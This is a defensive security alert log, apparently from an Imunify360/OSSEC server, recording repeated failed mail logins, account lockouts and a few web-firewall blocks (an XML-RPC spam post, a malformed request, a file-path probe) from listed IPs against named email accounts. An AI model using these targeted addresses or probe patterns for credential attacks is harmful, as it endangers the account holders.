rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 06:32:20 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account central@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.136.133.126
country_id: 2510769
description:
2026-02-02 06:32:33 dovecot_login authenticator failed for H=126.red-2-136-133.staticip.rima-tde.net [2.136.133.126]:37870: 535 Incorrect authentication data (set_id=contact@wohcheong.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:33:19 dovecot_login authenticator failed for H=(SP0hi5hPVk) [165.154.217.204]:59791: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.150.135.19
country_id: 690791
description:
2026-02-02 06:33:31 dovecot_login authenticator failed for H=(19.135.150.178.triolan.net) [178.150.135.19]:40965: 535 Incorrect authentication data (set_id=admin@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:33:33 dovecot_login authenticator failed for H=(7cWXhHHUU) [158.94.208.175]:56003: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 06:33:33 dovecot_login authenticator failed for H=(n7GxXGdz) [178.16.54.138]:54628: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:33:04 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:49485: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 06:33:07 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.118.39.145
country_id: 798549
description:
2026-02-02 06:33:14 dovecot_login authenticator failed for H=(DldbYlWzj) [92.118.39.145]:53043: 535 Incorrect authentication data (set_id=nsales@box.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:33:15 dovecot_login authenticator failed for H=(vGIxE9Lxi) [185.230.124.69]:50662: 535 Incorrect authentication data (set_id=darren@indfinitydesign.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 06:33:36 dovecot_login authenticator failed for H=(uTJHyS4) [178.16.52.139]:50961: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.129.245.249
country_id: 1814991
description:
2026-02-02 06:33:43 dovecot_login authenticator failed for H=([123.129.245.249]) [123.129.245.249]:56751: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:33:09 dovecot_login authenticator failed for H=(uYgSXenOfR) [165.154.217.204]:58991: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 92.118.39.145
country_id: 798549
description:
Feb  2 06:33:12 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account nsales@box.com.my has been locked for the attacker IP 92.118.39.145


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 06:34:06 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.118.39.145
country_id: 798549
description:
2026-02-02 06:34:22 dovecot_login authenticator failed for H=(lBhEDDWv) [92.118.39.145]:55850: 535 Incorrect authentication data (set_id=nsales@box.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 06:34:07 dovecot_login authenticator failed for H=(64q7NbRD) [178.16.52.139]:65426: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 92.118.39.145
country_id: 798549
description:
Feb  2 06:34:20 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account nsales@box.com.my has been locked for the attacker IP 92.118.39.145


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 06:34:29 dovecot_login authenticator failed for H=(YFjZM0c) [178.16.54.138]:65289: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Feb  2 06:34:30 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account darren@indfinitydesign.com has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.174.35
country_id: 1269750
description:
2026-02-02 06:35:02 dovecot_login authenticator failed for H=(nsg-corporate-35.174.186.122.airtel.in) [122.186.174.35]:49788: 535 Incorrect authentication data (set_id=admin@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:34:09 dovecot_login authenticator failed for H=(rlcOKKonI) [158.94.208.175]:64106: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:34:28 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:53858: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:34:08 dovecot_login authenticator failed for H=(Sau00D) [165.154.217.204]:63508: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:34:13 dovecot_login authenticator failed for H=(PQYD9AW) [185.230.124.69]:54637: 535 Incorrect authentication data (set_id=darren@indfinitydesign.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 06:34:18 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:33220: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:34:35 dovecot_login authenticator failed for H=(lt26AJ) [165.154.217.204]:49182: 535 Incorrect authentication data (set_id=intercessors)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:35:11 dovecot_login authenticator failed for H=(I1sZDV2ew) [185.230.124.69]:62848: 535 Incorrect authentication data (set_id=darren@indfinitydesign.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:35:18 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:64646: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.174.34.49
country_id: 1269750
description:
2026-02-02 06:35:26 dovecot_login authenticator failed for H=([103.174.34.49]) [103.174.34.49]:54068: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 06:35:02 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:35:04 dovecot_login authenticator failed for H=(GtPRCe8) [165.154.217.204]:51446: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 92.118.39.145
country_id: 798549
description:
Feb  2 06:35:06 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account nsales@box.com.my has been locked for the attacker IP 92.118.39.145


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.118.39.145
country_id: 798549
description:
2026-02-02 06:35:08 dovecot_login authenticator failed for H=(3lVjGVFy00) [92.118.39.145]:57719: 535 Incorrect authentication data (set_id=nsales@box.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Feb  2 06:35:09 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account darren@indfinitydesign.com has been locked for the attacker IP 185.230.124.69


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 88.251.132.21
country_id: 298795
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/dead/14/455/1443201 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:35:14 dovecot_login authenticator failed for H=(cNr9Xm2eh) [158.94.208.175]:50958: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:36:11 dovecot_login authenticator failed for H=(QFn0x5b) [165.154.217.204]:56764: 535 Incorrect authentication data (set_id=central)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 06:36:27 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:46484: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:36:07 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:58460: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.118.39.145
country_id: 798549
description:
2026-02-02 06:36:07 dovecot_login authenticator failed for H=(ZfkN0h8wj) [92.118.39.145]:60374: 535 Incorrect authentication data (set_id=nsales)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 06:36:18 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:36:25 dovecot_login authenticator failed for H=(RKijhQtVO) [158.94.208.175]:54114: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:36:10 dovecot_login authenticator failed for H=(jBDiuH) [165.154.217.204]:56763: 535 Incorrect authentication data (set_id=intercessors)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Feb  2 06:36:06 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account darren@indfinitydesign.com has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:36:08 dovecot_login authenticator failed for H=(1hmfJx) [185.230.124.69]:51934: 535 Incorrect authentication data (set_id=darren@indfinitydesign.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 06:36:29 dovecot_login authenticator failed for H=(MXSTQm2pth) [178.16.54.138]:61873: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.171.230.200
country_id: 6252001
description:
2026-02-02 06:38:01 dovecot_plain authenticator failed for H=c-73-171-230-200.hsd1.fl.comcast.net (nodogism) [73.171.230.200]:36346: 535 Incorrect authentication data (set_id=mhisham.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:37:03 dovecot_login authenticator failed for H=(PcILGuEavf) [158.94.208.175]:64393: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 06:37:04 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:37:05 dovecot_login authenticator failed for H=(T1ocdivp) [185.230.124.69]:53686: 535 Incorrect authentication data (set_id=darren@indfinitydesign.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:37:09 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:52073: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:37:36 dovecot_login authenticator failed for H=(GRZ2x1H7) [165.154.217.204]:63131: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 06:37:31 dovecot_login authenticator failed for H=(ATw7usA7) [178.16.54.138]:50063: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Feb  2 06:37:03 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account darren@indfinitydesign.com has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:37:06 dovecot_login authenticator failed for H=(WeKpYGhw) [165.154.217.204]:60841: 535 Incorrect authentication data (set_id=intercessors)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.118.39.145
country_id: 798549
description:
2026-02-02 06:37:15 dovecot_login authenticator failed for H=(yKOWrO) [92.118.39.145]:62851: 535 Incorrect authentication data (set_id=nsales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.118.39.145
country_id: 798549
description:
2026-02-02 06:38:24 dovecot_login authenticator failed for H=(LeGC4XeM) [92.118.39.145]:49383: 535 Incorrect authentication data (set_id=nsales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:38:28 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:53143: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:38:03 dovecot_login authenticator failed for H=(IkbpETA) [165.154.217.204]:65046: 535 Incorrect authentication data (set_id=intercessors)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:38:03 dovecot_login authenticator failed for H=(oOApxuvl) [185.230.124.69]:54834: 535 Incorrect authentication data (set_id=darren@indfinitydesign.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 06:38:20 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 06:38:35 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:40730: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:38:59 dovecot_login authenticator failed for H=(B9EU2zxAjA) [165.154.217.204]:52986: 535 Incorrect authentication data (set_id=central)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:38:14 dovecot_login authenticator failed for H=(ylMJKqqKiK) [158.94.208.175]:57808: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Feb  2 06:38:20 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account darren@indfinitydesign.com has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 34.155.156.232
country_id: 3017382
description:
2026-02-02 06:38:27 dovecot_login authenticator failed for H=232.156.155.34.bc.googleusercontent.com (10.200.0.2) [34.155.156.232]:51901: 535 Incorrect authentication data (set_id=jaya@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:39:20 dovecot_login authenticator failed for H=(lWKZ7NyS) [158.94.208.175]:49451: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 200.217.138.70
country_id: 3469034
domain: garudabay.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:16437.garudabay.com||ServerName:garudabay.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:deb60f49d7f9320263eedf24f6973ebb93f48106||Title:0x3b31baf9||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 06:39:17 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account central has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:39:10 dovecot_login authenticator failed for H=(Ds8Uic8QJx) [165.154.217.204]:53948: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 92.118.39.145
country_id: 798549
description:
Feb  2 06:39:32 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account nsales has been locked for the attacker IP 92.118.39.145


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.118.39.145
country_id: 798549
description:
2026-02-02 06:39:11 dovecot_login authenticator failed for H=(P86wdXH) [92.118.39.145]:51360: 535 Incorrect authentication data (set_id=nsales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:39:18 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:63743: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:39:19 dovecot_login authenticator failed for H=(lWMcRh8) [185.230.124.69]:49358: 535 Incorrect authentication data (set_id=darren@indfinitydesign.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.132.238.43
country_id: 6252001
description:
2026-02-02 06:40:40 dovecot_login authenticator failed for H=c-76-132-238-43.hsd1.ca.comcast.net [76.132.238.43]:56734: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:40:06 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:57515: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 06:40:13 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:40:16 dovecot_login authenticator failed for H=(38Bgs0FBHC) [185.230.124.69]:49802: 535 Incorrect authentication data (set_id=darren@indfinitydesign.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 92.118.39.145
country_id: 798549
description:
Feb  2 06:40:18 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account nsales has been locked for the attacker IP 92.118.39.145


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.118.39.145
country_id: 798549
description:
2026-02-02 06:40:20 dovecot_login authenticator failed for H=(SiAd1C) [92.118.39.145]:54186: 535 Incorrect authentication data (set_id=nsales)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:40:34 dovecot_login authenticator failed for H=(l87t8TaIa) [165.154.217.204]:61189: 535 Incorrect authentication data (set_id=intercessors)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 06:40:44 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:37916: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:40:52 dovecot_login authenticator failed for H=(ytfEcGT) [158.94.208.175]:60674: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:40:09 dovecot_login authenticator failed for H=(LGZTkf) [165.154.217.204]:59095: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.56
country_id: 2542007
description:
2026-02-02 06:40:56 dovecot_login authenticator failed for H=([102.53.15.56]) [102.53.15.56]:43807: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 92.118.39.145
country_id: 798549
description:
Feb  2 06:41:05 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account nsales has been locked for the attacker IP 92.118.39.145


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:41:06 dovecot_login authenticator failed for H=(6aCHh50) [165.154.217.204]:64103: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.213
country_id: 1269750
description:
2026-02-02 06:41:47 dovecot_login authenticator failed for H=([122.187.230.213]) [122.187.230.213]:55258: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.118.39.145
country_id: 798549
description:
2026-02-02 06:41:07 dovecot_login authenticator failed for H=(wXe7ND97G) [92.118.39.145]:56107: 535 Incorrect authentication data (set_id=nsales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.197.145.114
country_id: 1819730
description:
2026-02-02 06:41:23 dovecot_login authenticator failed for H=([223.197.145.114]) [223.197.145.114]:55118: 535 Incorrect authentication data (set_id=admin@ajplantations.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 06:41:04 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.114.84.170
country_id: 1814991
description:
2026-02-02 06:41:18 dovecot_login authenticator failed for H=([116.114.84.170]) [116.114.84.170]:41090: 535 Incorrect authentication data (set_id=support@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-02-02 06:41:26 dovecot_login authenticator failed for H=54.126.103.87.rev.vodafone.pt [87.103.126.54]:30993: 535 Incorrect authentication data (set_id=support@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:41:09 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:51251: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:41:14 dovecot_login authenticator failed for H=(WTzjeqVw9) [185.230.124.69]:49460: 535 Incorrect authentication data (set_id=darren@indfinitydesign.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:41:23 dovecot_login authenticator failed for H=(0fh24Wv2) [158.94.208.175]:49663: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.108.233.190
country_id: 1835841
description:
2026-02-02 06:41:39 dovecot_login authenticator failed for H=([106.10.69.50]) [183.108.233.190]:47098: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 06:41:58 dovecot_login authenticator failed for H=(sAtalziTp) [178.16.54.138]:49804: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 06:42:00 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 92.118.39.145
country_id: 798549
description:
Feb  2 06:42:14 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account nsales has been locked for the attacker IP 92.118.39.145


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 217.113.194.11
country_id: 3017382
domain: pftfood.com
description:
IM360 WAF: Bad file extension||RSV:7.71||T:APACHE||MVN:REQUEST_FILENAME||MV:/home/000~ROOT~000/usr/share/alsa/cards/PMac.conf||User:root||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 06:42:55 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:59912: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:42:12 dovecot_login authenticator failed for H=(BtJeCeUm) [185.230.124.69]:56934: 535 Incorrect authentication data (set_id=darren@indfinitydesign.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.118.39.145
country_id: 798549
description:
2026-02-02 06:42:16 dovecot_login authenticator failed for H=(2z5Y6wHdAE) [92.118.39.145]:50405: 535 Incorrect authentication data (set_id=nsales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:42:28 dovecot_login authenticator failed for H=(zVOygCUFH7) [158.94.208.175]:62459: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Feb  2 06:42:29 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account darren@indfinitydesign.com has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:42:02 dovecot_login authenticator failed for H=(6wRaovE) [165.154.217.204]:53411: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:42:11 dovecot_login authenticator failed for H=(kMsfbQTEVJ) [165.154.217.204]:54257: 535 Incorrect authentication data (set_id=intercessors)


plugin: ossec
